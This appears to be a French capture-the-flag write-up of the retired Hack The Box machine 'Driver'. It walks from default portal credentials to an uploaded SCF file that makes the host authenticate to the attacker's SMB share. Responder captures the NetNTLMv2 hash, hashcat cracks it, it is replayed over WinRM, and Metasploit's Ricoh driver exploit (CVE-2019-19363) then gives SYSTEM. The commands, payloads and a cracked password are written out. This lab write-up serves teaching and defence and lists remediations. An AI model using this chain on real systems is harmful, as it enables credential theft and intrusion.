picsou@htb:~/writeups/easy/driver$

Windows Easy

Driver : SCF + Responder, puis pilote Ricoh

Fichier SCF déposé via un portail firmware pour capturer un hash NetNTLMv2, cracké puis rejoué en WinRM, et privesc via le pilote Ricoh (CVE-2019-19363).

box
Driver
os
Windows
difficulté
Easy
publiée le
temps
1,5 h
indices
aucun
outils
nmap responder hashcat evil-winrm metasploit winpeas
techniques
Scan de ports Énumération web Identifiants par défaut Capture NetNTLM (SCF + Responder) Cassage de hash WinRM Exploit public (CVE) Exploit de pilote d'impression
cve
CVE-2019-19363

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Un portail IIS "MFP Firmware Update Center" protégé par des identifiants par défaut.
  2. On y dépose un fichier SCF qui force l'hôte à s'authentifier vers notre Responder : hash NetNTLMv2 de tony capturé.
  3. Hash cracké (liltony), on rejoue en WinRM pour l'accès utilisateur.
  4. Privesc via la vulnérabilité du pilote Ricoh (CVE-2019-19363) : SYSTEM.

Reconnaissance

kali
nmap -sVC -T4 -oA nmap 10.129.76.77
nmap
PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
|_http-auth: Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp open  msrpc        Microsoft Windows RPC
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 (workgroup: WORKGROUP, host: DRIVER)

Trois services Windows classiques. Le port 80 affiche une authentification Basic : "MFP Firmware Update Center". MFP = Multi Function Printer. Le nom de la box et ce portail orientent clairement vers un sujet imprimante.

Foothold

Accès au portail

Le portail accepte les identifiants par défaut admin:admin. On arrive sur une page "Firmware Update" avec un formulaire d'upload :

html
<tr><td>Upload Firmware:</td><td><input type="file" id="firmware" name="firmware"></td></tr>

La page précise que le firmware envoyé est déposé sur un partage que l'équipe teste manuellement. C'est la clé : si un utilisateur ouvre ce dossier dans l'Explorateur Windows, tout fichier qui référence une ressource distante déclenche une connexion.

Fichier SCF et capture du hash

Un fichier .scf (Shell Command File) peut pointer son icône vers un partage SMB distant. Dès que l'Explorateur affiche le dossier, Windows tente de charger l'icône et s'authentifie vers nous.

test.scf
[Shell]
Command=2
IconFile=\\10.10.14.84\share\pwn.ico
[Taskbar]
Command=ToggleDesktop

On lance Responder sur l'interface du VPN, puis on dépose le SCF via le formulaire.

kali
responder --interface tun0 --wpad --lm --disable-ess

Au bout de quelques secondes, l'hôte s'authentifie et Responder capture le NetNTLMv2 de tony :

responder
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:<redacted>

Cassage du hash

kali
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat
TONY::DRIVER:...:...:...:...  (Status: Cracked)

Le mot de passe de tony tombe en une seconde : liltony.

Accès utilisateur

Le port 445 et l'OS laissent espérer WinRM (5985). Les identifiants passent :

kali
evil-winrm -i 10.129.76.77 -u tony -p liltony
tony@driver
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt

Élévation vers SYSTEM

WinPEAS pointe une ACL beaucoup trop permissive sur le répertoire du pilote Ricoh :

winPEAS
ACL allow candidate: C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\headerfooter.dll (Everyone [Allow: AllAccess])

C'est exactement CVE-2019-19363 : le pilote d'impression Ricoh charge une DLL dans un dossier où tout le monde peut écrire, et l'impression s'exécute en SYSTEM. Metasploit a un module prêt pour ce vecteur.

On lance d'abord un Meterpreter x64 sur la cible en tant que tony (upload et exécution d'un met.exe généré avec msfvenom, récupéré via le shell WinRM).

meterpreter (tony)
meterpreter > sysinfo
Architecture : x64
Meterpreter  : x64/windows
meterpreter > ps          # repérer un process stable de la session de tony
meterpreter > migrate 4500   # ex. OneDrive.exe, PID relevé dans ps
[*] Migration completed successfully.
meterpreter > bg

Le module peut alors faire son travail :

msfconsole
use exploit/windows/local/ricoh_driver_privesc
set SESSION 1
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run
meterpreter (SYSTEM)
[+] The target appears to be vulnerable. Ricoh driver directory has full permissions
[*] Adding printer FXBMHf...
[+] Deleted C:\Users\tony\AppData\Local\Temp\headerfooter.dll
...
C:\Windows\system32> whoami
nt authority\system

Le flag root est alors accessible :

SYSTEM
C:\Users\Administrator\Desktop> type root.txt

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1Portail firmware en identifiants par défaut (admin:admin)ÉlevéeForcer un mot de passe fort, limiter l'accès au réseau d'admin
F2Dépôt de fichiers utilisateur ouvert dans l'Explorateur par un opérateur (SCF / capture NetNTLM)ÉlevéeNe jamais parcourir un dossier de dépôt non fiable, bloquer le SMB sortant, signer le SMB
F3Mot de passe faible et réutilisable (liltony) cassé via rockyouMoyennePolitique de mots de passe robustes
F4Pilote Ricoh vulnérable, dossier en écriture pour tous (CVE-2019-19363)CritiqueMettre à jour le pilote Ricoh, corriger les ACL de C:\ProgramData\RICOH_DRV

Leçons apprises

  • Le fichier SCF reste un grand classique pour voler un NetNTLM dès qu'un partage est parcouru dans l'Explorateur : un simple IconFile vers un partage suffit.
  • Un portail "firmware / imprimante" doit faire penser tout de suite aux vecteurs liés aux pilotes d'impression (SCF, PrintNightmare, drivers Ricoh / Lexmark).
  • whoami /priv et winPEAS restent le réflexe post-foothold : ici c'est une ACL de dossier, pas un privilège de token.
  • Pour ricoh_driver_privesc : Meterpreter en x64 et migration dans un autre process avant de lancer le module, sinon erreur d'architecture et session tuée au nettoyage.

Références